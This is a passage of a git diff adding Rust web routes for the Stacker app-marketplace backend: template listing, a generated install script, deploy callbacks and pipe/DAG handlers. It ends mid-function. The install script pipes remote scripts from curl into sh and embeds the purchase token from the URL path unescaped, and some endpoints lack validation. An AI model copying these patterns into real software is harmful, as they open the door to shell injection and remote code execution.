b/stacker/stacker/src/routes/marketplace/mod.rs @@ -0,0 +1,18 @@ +pub mod admin; +pub mod agent; +pub mod categories; +pub mod creator; +pub mod public; + +pub use admin::{ + approve_handler, list_plans_handler, list_submitted_handler, reject_handler, + security_scan_handler, unapprove_handler, AdminDecisionRequest, UnapproveRequest, +}; +pub use creator::{ + analytics_handler, create_handler, finalize_asset_upload_handler, mine_handler, + my_reviews_handler, presign_asset_download_handler, presign_asset_upload_handler, + resubmit_handler, submit_handler, update_handler, AnalyticsQuery, CreateTemplateRequest, + FinalizeAssetRequest, PresignAssetDownloadRequest, PresignAssetUploadRequest, ResubmitRequest, + UpdateTemplateRequest, +}; +pub use public::TemplateListQuery; diff --git a/stacker/stacker/src/routes/marketplace/public.rs b/stacker/stacker/src/routes/marketplace/public.rs new file mode 100644 index 0000000..35ffa45 --- /dev/null +++ b/stacker/stacker/src/routes/marketplace/public.rs @@ -0,0 +1,359 @@ +use crate::configuration::Settings; +use crate::db; +use crate::helpers::JsonResponse; +use actix_web::{get, post, web, HttpRequest, HttpResponse, Responder, Result}; +use sqlx::PgPool; + +#[tracing::instrument(name = "List approved templates (public)", skip_all)] +#[get("")] +pub async fn list_handler( + query: web::Query, + pg_pool: web::Data, +) -> Result { + let category = query.category.as_deref(); + let tag = query.tag.as_deref(); + let sort = query.sort.as_deref(); + + db::marketplace::list_approved(pg_pool.get_ref(), category, tag, sort) + .await + .map_err(|err| { + JsonResponse::>::build().internal_server_error(err) + }) + .map(|templates| JsonResponse::build().set_list(templates).ok("OK")) +} + +#[tracing::instrument(name = "Generate install script", skip_all)] +#[get("/install/{purchase_token}")] +pub async fn install_script_handler(path: web::Path) -> Result { + let purchase_token = path.into_inner(); + let script = generate_install_script(&purchase_token); + + Ok(HttpResponse::Ok() + .content_type("text/x-shellscript") + .insert_header(("Content-Disposition", "inline; filename=\"install.sh\"")) + .body(script)) +} + +fn generate_install_script(purchase_token: &str) -> String { + let stacker_url = std::env::var("STACKER_PUBLIC_URL") + .unwrap_or_else(|_| "https://stacker.try.direct".to_string()); + + format!( + r#"#!/bin/sh +set -e + +PURCHASE_TOKEN="{purchase_token}" +STACKER_URL="{stacker_url}" + +echo "============================================" +echo " TryDirect Marketplace Stack Installer" +echo "============================================" +echo "" + +# 1. Install Stacker CLI +echo "[1/4] Installing Stacker CLI..." +if ! command -v stacker >/dev/null 2>&1; then + curl -sSfL "$STACKER_URL/releases/stacker-cli/install.sh" | sh +else + echo " Stacker CLI already installed." +fi + +# 2. Install Status Panel agent +echo "[2/4] Installing Status Panel agent..." +if ! command -v status-panel >/dev/null 2>&1; then + curl -sSfL "$STACKER_URL/releases/status-panel/install.sh" | sh +else + echo " Status Panel already installed." +fi + +# 3. Download stack archive +echo "[3/4] Downloading stack..." +STACK_DIR="/opt/stacker/marketplace/$PURCHASE_TOKEN" +mkdir -p "$STACK_DIR" +curl -sSfL "$STACKER_URL/api/v1/marketplace/download/$PURCHASE_TOKEN" -o "$STACK_DIR/stack.tar.gz" +cd "$STACK_DIR" +tar xzf stack.tar.gz +rm stack.tar.gz + +# 4. Register agent and deploy +echo "[4/4] Registering agent and deploying stack..." +STACK_ID=$(cat "$STACK_DIR/stack.json" 2>/dev/null | grep -o '"stack_id"[[:space:]]*:[[:space:]]*"[^"]*"' | head -1 | cut -d'"' -f4) +if [ -z "$STACK_ID" ]; then + STACK_ID="unknown" +fi + +status-panel register --token "$PURCHASE_TOKEN" --stack-id "$STACK_ID" --server "$STACKER_URL" + +echo "" +echo "Deploying stack..." +cd "$STACK_DIR" +stacker deploy --target local + +echo "" +echo "============================================" +echo " Installation complete!" +echo "============================================" +echo "" +echo "Status Panel is running. Access it at:" +echo " http://$(hostname -I | awk '{{print $1}}'):5000" +echo "" +echo "Your deployment is linked to your TryDirect dashboard." +echo "" +"#, + purchase_token = purchase_token, + stacker_url = stacker_url + ) +} + +#[tracing::instrument(name = "Download stack archive", skip_all)] +#[get("/download/{purchase_token}")] +pub async fn download_stack_handler( + path: web::Path, + _pg_pool: web::Data, +) -> Result { + let purchase_token = path.into_inner(); + + // TODO: Call User Service POST /marketplace/purchase-token/validate + // to verify token and get stack_id, then locate and serve the archive. + tracing::info!( + "Stack download requested for purchase_token={}", + purchase_token + ); + + Ok(HttpResponse::Ok() + .content_type("application/gzip") + .insert_header(( + "Content-Disposition", + format!("attachment; filename=\"stack-{}.tar.gz\"", purchase_token), + )) + .body("stack archive placeholder")) +} + +#[derive(Debug, serde::Deserialize)] +pub struct TemplateListQuery { + pub category: Option, + pub tag: Option, + pub sort: Option, // recent|popular|rating +} + +#[derive(Debug, serde::Deserialize)] +pub struct DeployCompleteRequest { + pub deployment_hash: String, + pub purchase_token: String, + pub server_ip: Option, + pub stack_id: String, +} + +#[derive(Debug, serde::Deserialize)] +struct PurchaseTokenValidationResponse { + valid: bool, + stack_id: Option, +} + +#[derive(Debug, serde::Serialize)] +struct DeployCompleteResponse { + success: bool, + template_id: String, + deployment_hash: String, + deploy_count_incremented: bool, +} + +fn require_stacker_service_auth(req: &HttpRequest) -> Result<()> { + let expected_token = std::env::var("STACKER_SERVICE_TOKEN").unwrap_or_default(); + if expected_token.trim().is_empty() { + return Err(JsonResponse::::build() + .internal_server_error("STACKER_SERVICE_TOKEN is not configured")); + } + + let expected_bearer = format!("Bearer {}", expected_token); + let actual_service_header = req + .headers() + .get("x-stacker-service-token") + .and_then(|value| value.to_str().ok()) + .unwrap_or(""); + let actual_header = req + .headers() + .get(actix_web::http::header::AUTHORIZATION) + .and_then(|value| value.to_str().ok()) + .unwrap_or(""); + + if actual_service_header != expected_token && actual_header != expected_bearer { + return Err(JsonResponse::::build().forbidden("Invalid service token")); + } + + Ok(()) +} + +async fn validate_purchase_token_with_user_service( + settings: &Settings, + purchase_token: &str, +) -> Result { + let service_token = std::env::var("STACKER_SERVICE_TOKEN").unwrap_or_default(); + let endpoint = format!( + "{}/marketplace/purchase-token/validate", + settings.user_service_url.trim_end_matches('/') + ); + + let response = reqwest::Client::new() + .post(endpoint) + .bearer_auth(service_token) + .json(&serde_json::json!({ "token": purchase_token })) + .send() + .await + .map_err(|err| { + tracing::error!("purchase-token validation request failed: {:?}", err); + JsonResponse::::build() + .internal_server_error("Purchase token validation request failed") + })?; + + if !response.status().is_success() { + tracing::warn!( + "purchase-token validation rejected by User Service: status={}", + response.status() + ); + return Err(JsonResponse::::build() + .forbidden("Purchase token validation failed")); + } + + let payload = response + .json::() + .await + .map_err(|err| { + tracing::error!( + "purchase-token validation response decode failed: {:?}", + err + ); + JsonResponse::::build() + .internal_server_error("Invalid purchase token validation response") + })?; + + if !payload.valid { + return Err( + JsonResponse::::build().forbidden("Purchase token is not valid") + ); + } + + Ok(payload) +} + +#[tracing::instrument(name = "Marketplace deploy complete callback", skip_all)] +#[post("/deploy-complete")] +pub async fn deploy_complete_handler( + req: HttpRequest, + body: web::Json, + pg_pool: web::Data, + settings: web::Data, +) -> Result { + require_stacker_service_auth(&req)?; + + let payload = body.into_inner(); + tracing::info!( + deployment_hash = %payload.deployment_hash, + stack_id = %payload.stack_id, + server_ip = ?payload.server_ip, + "marketplace deploy-complete callback received" + ); + if payload.deployment_hash.trim().is_empty() + || payload.purchase_token.trim().is_empty() + || payload.stack_id.trim().is_empty() + { + return Err(JsonResponse::::build() + .bad_request("deployment_hash, purchase_token, and stack_id are required")); + } + + let validation = + validate_purchase_token_with_user_service(settings.get_ref(), &payload.purchase_token) + .await?; + let validated_stack_id = validation.stack_id.unwrap_or_default(); + if validated_stack_id != payload.stack_id { + return Err(JsonResponse::::build() + .forbidden("stack_id does not match the validated purchase token")); + } + + let template_id = uuid::Uuid::parse_str(&validated_stack_id) + .map_err(|_| JsonResponse::::build().bad_request("Invalid stack_id"))?; + let deploy_count_incremented = db::marketplace::record_deploy_complete_once( + pg_pool.get_ref(), + &template_id, + &payload.deployment_hash, + payload.server_ip.as_deref(), + ) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err))?; + + let Some(deploy_count_incremented) = deploy_count_incremented else { + return Err( + JsonResponse::::build().not_found("Marketplace template not found") + ); + }; + + let response = DeployCompleteResponse { + success: true, + template_id: template_id.to_string(), + deployment_hash: payload.deployment_hash, + deploy_count_incremented, + }; + + Ok(JsonResponse::build() + .set_item(response) + .ok("Deploy complete processed")) +} + +#[tracing::instrument(name = "Get template by slug (public)", skip_all)] +#[get("/{slug}")] +pub async fn detail_handler( + path: web::Path<(String,)>, + pg_pool: web::Data, +) -> Result { + let slug = path.into_inner().0; + + match db::marketplace::get_by_slug_with_latest(pg_pool.get_ref(), &slug).await { + Ok((template, version)) => { + // Increment view_count when template is viewed + let _ = db::marketplace::increment_view_count(pg_pool.get_ref(), &template.id).await; + + let mut payload = serde_json::json!({ + "template": template, + }); + if let Some(ver) = version { + payload["latest_version"] = serde_json::to_value(ver).unwrap(); + } + Ok(JsonResponse::build().set_item(Some(payload)).ok("OK")) + } + Err(err) => Err(JsonResponse::::build().not_found(err)), + } +} + +/// Increment view_count for a marketplace template +#[tracing::instrument(name = "Increment template view count", skip_all)] +#[get("/{id}/increment-view-count")] +pub async fn increment_view_count_handler( + path: web::Path<(String,)>, + pg_pool: web::Data, +) -> Result { + let template_id_str = path.into_inner().0; + let template_id = uuid::Uuid::parse_str(&template_id_str) + .map_err(|_| JsonResponse::::build().bad_request("Invalid UUID"))?; + + db::marketplace::increment_view_count(pg_pool.get_ref(), &template_id) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err)) + .map(|_| JsonResponse::::build().ok("View count incremented")) +} + +/// Increment deploy_count for a marketplace template +#[tracing::instrument(name = "Increment template deploy count", skip_all)] +#[get("/{id}/increment-deploy-count")] +pub async fn increment_deploy_count_handler( + path: web::Path<(String,)>, + pg_pool: web::Data, +) -> Result { + let template_id_str = path.into_inner().0; + let template_id = uuid::Uuid::parse_str(&template_id_str) + .map_err(|_| JsonResponse::::build().bad_request("Invalid UUID"))?; + + db::marketplace::increment_deploy_count(pg_pool.get_ref(), &template_id) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err)) + .map(|_| JsonResponse::::build().ok("Deploy count incremented")) +} diff --git a/stacker/stacker/src/routes/mod.rs b/stacker/stacker/src/routes/mod.rs new file mode 100644 index 0000000..98a3e83 --- /dev/null +++ b/stacker/stacker/src/routes/mod.rs @@ -0,0 +1,37 @@ +pub(crate) mod agent; +pub mod client; +pub(crate) mod command; +pub(crate) mod deployment; +pub(crate) mod dockerhub; +pub(crate) mod handoff; +pub mod health_checks; +pub(crate) mod legacy_installations; +pub(crate) mod rating; +pub(crate) mod test; + +pub use health_checks::{health_check, health_metrics, prometheus_metrics}; +pub(crate) mod cloud; +pub(crate) mod project; +pub(crate) mod server; + +pub(crate) mod agreement; +pub(crate) mod chat; +pub(crate) mod marketplace; + +pub use project::*; + +pub(crate) mod pipe; + +pub use agreement::*; +pub use deployment::{ + capabilities_handler, events_handler, force_complete_handler, list_handler, plan_handler, + state_handler, status_by_project_handler, status_handler, DeploymentListQuery, + DeploymentStatusResponse, +}; +pub use marketplace::{ + analytics_handler, approve_handler, create_handler, list_plans_handler, list_submitted_handler, + mine_handler, my_reviews_handler, reject_handler, resubmit_handler, security_scan_handler, + submit_handler, unapprove_handler, update_handler, AdminDecisionRequest, AnalyticsQuery, + CreateTemplateRequest, ResubmitRequest, TemplateListQuery, UnapproveRequest, + UpdateTemplateRequest, +}; diff --git a/stacker/stacker/src/routes/pipe/create.rs b/stacker/stacker/src/routes/pipe/create.rs new file mode 100644 index 0000000..baa3672 --- /dev/null +++ b/stacker/stacker/src/routes/pipe/create.rs @@ -0,0 +1,217 @@ +use crate::db; +use crate::helpers::JsonResponse; +use crate::models::{PipeInstance, PipeTemplate, User}; +use actix_web::{post, web, Responder, Result}; +use pipe_adapter_sdk::PipeAdapterReference; +use serde::Deserialize; +use serde_json::Value as JsonValue; +use sqlx::PgPool; +use std::sync::Arc; + +#[derive(Debug, Deserialize)] +pub struct CreatePipeTemplateRequest { + pub name: String, + #[serde(default)] + pub description: Option, + pub source_app_type: String, + pub source_endpoint: JsonValue, + pub target_app_type: String, + pub target_endpoint: JsonValue, + #[serde(default)] + pub target_external_url: Option, + pub field_mapping: JsonValue, + #[serde(default)] + pub config: Option, + #[serde(default)] + pub is_public: Option, +} + +#[derive(Debug, Deserialize)] +pub struct CreatePipeInstanceRequest { + #[serde(default)] + pub deployment_hash: Option, + #[serde(default)] + pub source_adapter: Option, + pub source_container: String, + #[serde(default)] + pub target_adapter: Option, + #[serde(default)] + pub target_container: Option, + #[serde(default)] + pub target_url: Option, + #[serde(default)] + pub template_id: Option, + #[serde(default)] + pub field_mapping_override: Option, + #[serde(default)] + pub config_override: Option, +} + +#[tracing::instrument(name = "Create pipe template", skip_all)] +#[post("/templates")] +pub async fn create_template_handler( + user: web::ReqData>, + req: web::Json, + pg_pool: web::Data, +) -> Result { + if req.name.trim().is_empty() { + return Err(JsonResponse::<()>::build().bad_request("name is required")); + } + if req.source_app_type.trim().is_empty() { + return Err(JsonResponse::<()>::build().bad_request("source_app_type is required")); + } + if req.target_app_type.trim().is_empty() { + return Err(JsonResponse::<()>::build().bad_request("target_app_type is required")); + } + + let mut template = PipeTemplate::new( + req.name.trim().to_string(), + req.source_app_type.trim().to_string(), + req.source_endpoint.clone(), + req.target_app_type.trim().to_string(), + req.target_endpoint.clone(), + req.field_mapping.clone(), + user.id.clone(), + ); + + if let Some(desc) = &req.description { + template = template.with_description(desc.clone()); + } + if let Some(url) = &req.target_external_url { + template = template.with_external_url(url.clone()); + } + if let Some(config) = &req.config { + template = template.with_config(config.clone()); + } + if let Some(is_public) = req.is_public { + template = template.with_public(is_public); + } + + let saved = db::pipe::insert_template(pg_pool.get_ref(), &template) + .await + .map_err(|err| { + tracing::error!("Failed to create pipe template: {}", err); + JsonResponse::<()>::build().internal_server_error(err) + })?; + + tracing::info!( + template_id = %saved.id, + name = %saved.name, + "Pipe template created by user {}", + user.id + ); + + Ok(JsonResponse::build() + .set_item(Some(saved)) + .created("Pipe template created successfully")) +} + +#[tracing::instrument(name = "Create pipe instance", skip_all)] +#[post("/instances")] +pub async fn create_instance_handler( + user: web::ReqData>, + req: web::Json, + pg_pool: web::Data, +) -> Result { + // Reject explicitly-provided but empty deployment_hash (distinct from omitting the field) + if let Some(hash) = &req.deployment_hash { + if hash.trim().is_empty() { + return Err(JsonResponse::<()>::build().bad_request("deployment_hash cannot be empty")); + } + } + + let deployment_hash = req + .deployment_hash + .as_deref() + .map(|h| h.trim()) + .filter(|h| !h.is_empty()); + + if req.source_container.trim().is_empty() { + return Err(JsonResponse::<()>::build().bad_request("source_container is required")); + } + if req.target_container.is_none() && req.target_url.is_none() && req.target_adapter.is_none() { + return Err(JsonResponse::<()>::build() + .bad_request("either target_container, target_url, or target_adapter is required")); + } + + // For remote pipes, verify deployment belongs to the requesting user + if let Some(hash) = deployment_hash { + let deployment = db::deployment::fetch_by_deployment_hash(pg_pool.get_ref(), hash) + .await + .map_err(|err| JsonResponse::<()>::build().internal_server_error(err))?; + + match &deployment { + Some(d) if d.user_id.as_deref() == Some(&user.id) => {} + _ => { + return Err(JsonResponse::<()>::build().not_found("Deployment not found")); + } + } + } + + // Verify template exists if provided + if let Some(template_id) = &req.template_id { + let template = db::pipe::get_template(pg_pool.get_ref(), template_id) + .await + .map_err(|err| { + tracing::error!("Failed to lookup template: {}", err); + JsonResponse::<()>::build().internal_server_error(err) + })?; + if template.is_none() { + return Err(JsonResponse::<()>::build().bad_request("template_id not found")); + } + } + + let mut instance = match deployment_hash { + Some(hash) => PipeInstance::new( + hash.to_string(), + req.source_container.trim().to_string(), + user.id.clone(), + ), + None => PipeInstance::new_local(req.source_container.trim().to_string(), user.id.clone()), + }; + + if let Some(template_id) = req.template_id { + instance = instance.with_template(template_id); + } + if let Some(adapter) = &req.source_adapter { + let adapter = serde_json::to_value(adapter) + .map_err(|err| JsonResponse::<()>::build().internal_server_error(err.to_string()))?; + instance = instance.with_source_adapter(adapter); + } + if let Some(adapter) = &req.target_adapter { + let adapter = serde_json::to_value(adapter) + .map_err(|err| JsonResponse::<()>::build().internal_server_error(err.to_string()))?; + instance = instance.with_target_adapter(adapter); + } + if let Some(target) = &req.target_container { + instance = instance.with_target_container(target.clone()); + } + if let Some(url) = &req.target_url { + instance = instance.with_target_url(url.clone()); + } + if let Some(mapping) = &req.field_mapping_override { + instance = instance.with_field_mapping_override(mapping.clone()); + } + if let Some(config) = &req.config_override { + instance = instance.with_config_override(config.clone()); + } + + let saved = db::pipe::insert_instance(pg_pool.get_ref(), &instance) + .await + .map_err(|err| { + tracing::error!("Failed to create pipe instance: {}", err); + JsonResponse::<()>::build().internal_server_error(err) + })?; + + tracing::info!( + instance_id = %saved.id, + deployment_hash = ?saved.deployment_hash, + is_local = saved.is_local, + "Pipe instance created by user {}", + user.id + ); + + Ok(JsonResponse::build() + .set_item(Some(saved)) + .created("Pipe instance created successfully")) +} diff --git a/stacker/stacker/src/routes/pipe/dag.rs b/stacker/stacker/src/routes/pipe/dag.rs new file mode 100644 index 0000000..6eff948 --- /dev/null +++ b/stacker/stacker/src/routes/pipe/dag.rs @@ -0,0 +1,492 @@ +use crate::db; +use crate::helpers::JsonResponse; +use crate::models::dag::{DagEdge, DagStep, VALID_STEP_TYPES}; +use crate::models::User; +use crate::services::dag_executor; +use actix_web::{delete, get, post, put, web, HttpResponse, Responder, Result}; +use serde::Deserialize; +use serde_json::Value as JsonValue; +use sqlx::PgPool; +use std::sync::Arc; + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Request types +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[derive(Debug, Deserialize)] +pub struct CreateStepRequest { + pub name: String, + pub step_type: String, + #[serde(default)] + pub step_order: Option, + #[serde(default = "default_config")] + pub config: JsonValue, +} + +fn default_config() -> JsonValue { + serde_json::json!({}) +} + +#[derive(Debug, Deserialize)] +pub struct UpdateStepRequest { + pub name: Option, + pub config: Option, + pub step_order: Option, +} + +#[derive(Debug, Deserialize)] +pub struct CreateEdgeRequest { + pub from_step_id: uuid::Uuid, + pub to_step_id: uuid::Uuid, + #[serde(default)] + pub condition: Option, +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Helper: verify template ownership +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +async fn verify_template_owner( + pool: &PgPool, + template_id: &uuid::Uuid, + user: &User, +) -> Result<(), actix_web::Error> { + let template = db::pipe::get_template(pool, template_id) + .await + .map_err(|err| JsonResponse::::internal_server_error(err))?; + + match template { + Some(t) if t.created_by == user.id => Ok(()), + Some(_) => Err(JsonResponse::::not_found("Pipe template not found")), + None => Err(JsonResponse::::not_found("Pipe template not found")), + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Steps CRUD +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[tracing::instrument(name = "Add DAG step", skip_all)] +#[post("/{template_id}/dag/steps")] +pub async fn add_step_handler( + user: web::ReqData>, + path: web::Path, + req: web::Json, + pg_pool: web::Data, +) -> Result { + let template_id = path.into_inner(); + verify_template_owner(pg_pool.get_ref(), &template_id, &user).await?; + + if req.name.trim().is_empty() { + return Err(JsonResponse::<()>::build().bad_request("name is required")); + } + if !VALID_STEP_TYPES.contains(&req.step_type.as_str()) { + return Err(JsonResponse::<()>::build().bad_request(format!( + "Invalid step_type. Must be one of: {}", + VALID_STEP_TYPES.join(", ") + ))); + } + + let step = DagStep::new( + template_id, + req.name.clone(), + req.step_type.clone(), + req.config.clone(), + ) + .with_order(req.step_order.unwrap_or(0)); + + let saved = db::dag::insert_step(pg_pool.get_ref(), &step) + .await + .map_err(|err| JsonResponse::::internal_server_error(err))?; + + Ok(JsonResponse::build() + .set_item(Some(saved)) + .created("DAG step created successfully")) +} + +#[tracing::instrument(name = "List DAG steps", skip_all)] +#[get("/{template_id}/dag/steps")] +pub async fn list_steps_handler( + user: web::ReqData>, + path: web::Path, + pg_pool: web::Data, +) -> Result { + let template_id = path.into_inner(); + verify_template_owner(pg_pool.get_ref(), &template_id, &user).await?; + + let steps = db::dag::list_steps(pg_pool.get_ref(), &template_id) + .await + .map_err(|err| JsonResponse::::internal_server_error(err))?; + + Ok(JsonResponse::build() + .set_list(steps) + .ok("DAG steps listed successfully")) +} + +#[tracing::instrument(name = "Get DAG step", skip_all)] +#[get("/{template_id}/dag/steps/{step_id}")] +pub async fn get_step_handler( + user: web::ReqData>, + path: web::Path<(uuid::Uuid, uuid::Uuid)>, + pg_pool: web::Data, +) -> Result { + let (template_id, step_id) = path.into_inner(); + verify_template_owner(pg_pool.get_ref(), &template_id, &user).await?; + + let step = db::dag::get_step(pg_pool.get_ref(), &step_id) + .await + .map_err(|err| JsonResponse::::internal_server_error(err))?; + + match step { + Some(s) if s.pipe_template_id == template_id => Ok(JsonResponse::build() + .set_item(Some(s)) + .ok("DAG step fetched successfully")), + _ => Err(JsonResponse::::not_found("DAG step not found")), + } +} + +#[tracing::instrument(name = "Update DAG step", skip_all)] +#[put("/{template_id}/dag/steps/{step_id}")] +pub async fn update_step_handler( + user: web::ReqData>, + path: web::Path<(uuid::Uuid, uuid::Uuid)>, + req: web::Json, + pg_pool: web::Data, +) -> Result { + let (template_id, step_id) = path.into_inner(); + verify_template_owner(pg_pool.get_ref(), &template_id, &user).await?; + + // Verify step belongs to this template + let existing = db::dag::get_step(pg_pool.get_ref(), &step_id) + .await + .map_err(|err| JsonResponse::::internal_server_error(err))?; + + match &existing { + Some(s) if s.pipe_template_id == template_id => {} + _ => return Err(JsonResponse::::not_found("DAG step not found")), + } + + let updated = db::dag::update_step( + pg_pool.get_ref(), + &step_id, + req.name.as_deref(), + req.config.as_ref(), + req.step_order, + ) + .await + .map_err(|err| JsonResponse::::internal_server_error(err))?; + + Ok(JsonResponse::build() + .set_item(Some(updated)) + .ok("DAG step updated successfully")) +} + +#[tracing::instrument(name = "Delete DAG step", skip_all)] +#[delete("/{template_id}/dag/steps/{step_id}")] +pub async fn delete_step_handler( + user: web::ReqData>, + path: web::Path<(uuid::Uuid, uuid::Uuid)>, + pg_pool: web::Data, +) -> Result { + let (template_id, step_id) = path.into_inner(); + verify_template_owner(pg_pool.get_ref(), &template_id, &user).await?; + + // Verify step belongs to this template + let existing = db::dag::get_step(pg_pool.get_ref(), &step_id) + .await + .map_err(|err| JsonResponse::::internal_server_error(err))?; + + match &existing { + Some(s) if s.pipe_template_id == template_id => {} + _ => return Err(JsonResponse::::not_found("DAG step not found")), + } + + db::dag::delete_step(pg_pool.get_ref(), &step_id) + .await + .map_err(|err| JsonResponse::::internal_server_error(err))?; + + Ok(JsonResponse::<()>::build().ok("DAG step deleted successfully")) +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Edges CRUD +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[tracing::instrument(name = "Add DAG edge", skip_all)] +#[post("/{template_id}/dag/edges")] +pub async fn add_edge_handler( + user: web::ReqData>, + path: web::Path, + req: web::Json, + pg_pool: web::Data, +) -> Result { + let template_id = path.into_inner(); + verify_template_owner(pg_pool.get_ref(), &template_id, &user).await?; + + // Verify both steps belong to this template + let from_step = db::dag::get_step(pg_pool.get_ref(), &req.from_step_id) + .await + .map_err(|err| JsonResponse::::internal_server_error(err))?; + let to_step = db::dag::get_step(pg_pool.get_ref(), &req.to_step_id) + .await + .map_err(|err| JsonResponse::::internal_server_error(err))?; + + match (&from_step, &to_step) { + (Some(f), Some(t)) + if f.pipe_template_id == template_id && t.pipe_template_id == template_id => {} + _ => { + return Err( + JsonResponse::<()>::build().bad_request("Both steps must belong to this template") + ) + } + } + + // Check for cycles + let would_cycle = db::dag::would_create_cycle( + pg_pool.get_ref(), + &template_id, + &req.from_step_id, + &req.to_step_id, + ) + .await + .map_err(|err| JsonResponse::::internal_server_error(err))?; + + if would_cycle { + return Err( + JsonResponse::<()>::build().bad_request("Adding this edge would create a cycle") + ); + } + + let mut edge = DagEdge::new(template_id, req.from_step_id, req.to_step_id); + if let Some(cond) = &req.condition { + edge = edge.with_condition(cond.clone()); + } + + let saved = db::dag::insert_edge(pg_pool.get_ref(), &edge) + .await + .map_err(|err| JsonResponse::::internal_server_error(err))?; + + Ok(JsonResponse::build() + .set_item(Some(saved)) + .created("DAG edge created successfully")) +} + +#[tracing::instrument(name = "List DAG edges", skip_all)] +#[get("/{template_id}/dag/edges")] +pub async fn list_edges_handler( + user: web::ReqData>, + path: web::Path, + pg_pool: web::Data, +) -> Result { + let template_id = path.into_inner(); + verify_template_owner(pg_pool.get_ref(), &template_id, &user).await?; + + let edges = db::dag::list_edges(pg_pool.get_ref(), &template_id) + .await + .map_err(|err| JsonResponse::::internal_server_error(err))?; + + Ok(JsonResponse::build() + .set_list(edges) + .ok("DAG edges listed successfully")) +} + +#[tracing::instrument(name = "Delete DAG edge", skip_all)] +#[delete("/{template_id}/dag/edges/{edge_id}")] +pub async fn delete_edge_handler( + user: web::ReqData>, + path: web::Path<(uuid::Uuid, uuid::Uuid)>, + pg_pool: web::Data, +) -> Result { + let (template_id, edge_id) = path.into_inner(); + verify_template_owner(pg_pool.get_ref(), &template_id, &user).await?; + + db::dag::delete_edge(pg_pool.get_ref(), &edge_id) + .await + .map_err(|err| JsonResponse::::internal_server_error(err))?; + + Ok(JsonResponse::<()>::build().ok("DAG edge deleted successfully")) +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Validate DAG +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[derive(serde::Serialize)] +struct ValidateResponse { + valid: bool, + errors: Vec, + step_count: usize, + edge_count: usize, +} + +#[tracing::instrument(name = "Validate DAG", skip_all)] +#[post("/{template_id}/dag/validate")] +pub async fn validate_dag_handler( + user: web::ReqData>, + path: web::Path, + pg_pool: web::Data, +) -> Result { + let template_id = path.into_inner(); + verify_template_owner(pg_pool.get_ref(), &template_id, &user).await?; + + let steps = db::dag::list_steps(pg_pool.get_ref(), &template_id) + .await + .map_err(|err| JsonResponse::::internal_server_error(err))?; + let edges = db::dag::list_edges(pg_pool.get_ref(), &template_id) + .await + .map_err(|err| JsonResponse::::internal_server_error(err))?; + + let mut errors = Vec::new(); + + // Must have at least one step + if steps.is_empty() { + errors.push("DAG must have at least one step".to_string()); + } + + // Check for source step + let has_source = steps.iter().any(|s| s.step_type == "source"); + if !has_source && !steps.is_empty() { + errors.push("DAG must have at least one source step".to_string()); + } + + // Check for target step + let has_target = steps.iter().any(|s| s.step_type == "target"); + if !has_target && !steps.is_empty() { + errors.push("DAG must have at least one target step".to_string()); + } + + // Check connectivity: every non-source step should have at least one incoming edge + let step_ids: std::collections::HashSet = steps.iter().map(|s| s.id).collect(); + let steps_with_incoming: std::collections::HashSet = + edges.iter().map(|e| e.to_step_id).collect(); + let steps_with_outgoing: std::collections::HashSet = + edges.iter().map(|e| e.from_step_id).collect(); + + for step in &steps { + if step.step_type != "source" && !steps_with_incoming.contains(&step.id) && steps.len() > 1 + { + errors.push(format!("Step '{}' has no incoming edges", step.name)); + } + if step.step_type != "target" && !steps_with_outgoing.contains(&step.id) && steps.len() > 1 + { + errors.push(format!("Step '{}' has no outgoing edges", step.name)); + } + } + + // Verify edge references are valid + for edge in &edges { + if !step_ids.contains(&edge.from_step_id) { + errors.push(format!( + "Edge references non-existent from_step {}", + edge.from_step_id + )); + } + if !step_ids.contains(&edge.to_step_id) { + errors.push(format!( + "Edge references non-existent to_step {}", + edge.to_step_id + )); + } + } + + let resp = ValidateResponse { + valid: errors.is_empty(), + errors, + step_count: steps.len(), + edge_count: edges.len(), + }; + + Ok(JsonResponse::build() + .set_item(Some(resp)) + .ok("DAG validation complete")) +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Execute DAG +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[derive(Debug, Deserialize)] +pub struct ExecuteDagRequest { + #[serde(default = "default_input")] + pub input_data: JsonValue, +} + +fn default_input() -> JsonValue { + serde_json::json!({}) +} + +#[tracing::instrument(name = "Execute DAG", skip_all)] +#[post("/instances/{instance_id}/dag/execute")] +pub async fn execute_dag_handler( + user: web::ReqData>, + path: web::Path, + req: web::Json, + pg_pool: web::Data, +) -> Result { + let instance_id = path.into_inner(); + + // Verify instance ownership + let instance = db::pipe::get_instance(pg_pool.get_ref(), &instance_id) + .await + .map_err(|err| JsonResponse::::internal_server_error(err))?; + + let instance = match instance { + Some(i) => i, + None => return Err(JsonResponse::::not_found("Pipe instance not found")), + }; + + super::verify_pipe_owner(pg_pool.get_ref(), &instance, &user.id).await?; + + let template_id = instance.template_id.ok_or_else(|| { + JsonResponse::::bad_request("Pipe instance has no template".to_string()) + })?; + + // Create a pipe_execution record for FK compliance + let pipe_exec = crate::models::pipe::PipeExecution::new( + instance_id, + instance.deployment_hash.clone(), + "dag".to_string(), + user.id.clone(), + ); + + let pipe_exec = db::pipe::insert_execution(pg_pool.get_ref(), &pipe_exec) + .await + .map_err(|err| JsonResponse::::internal_server_error(err))?; + + match 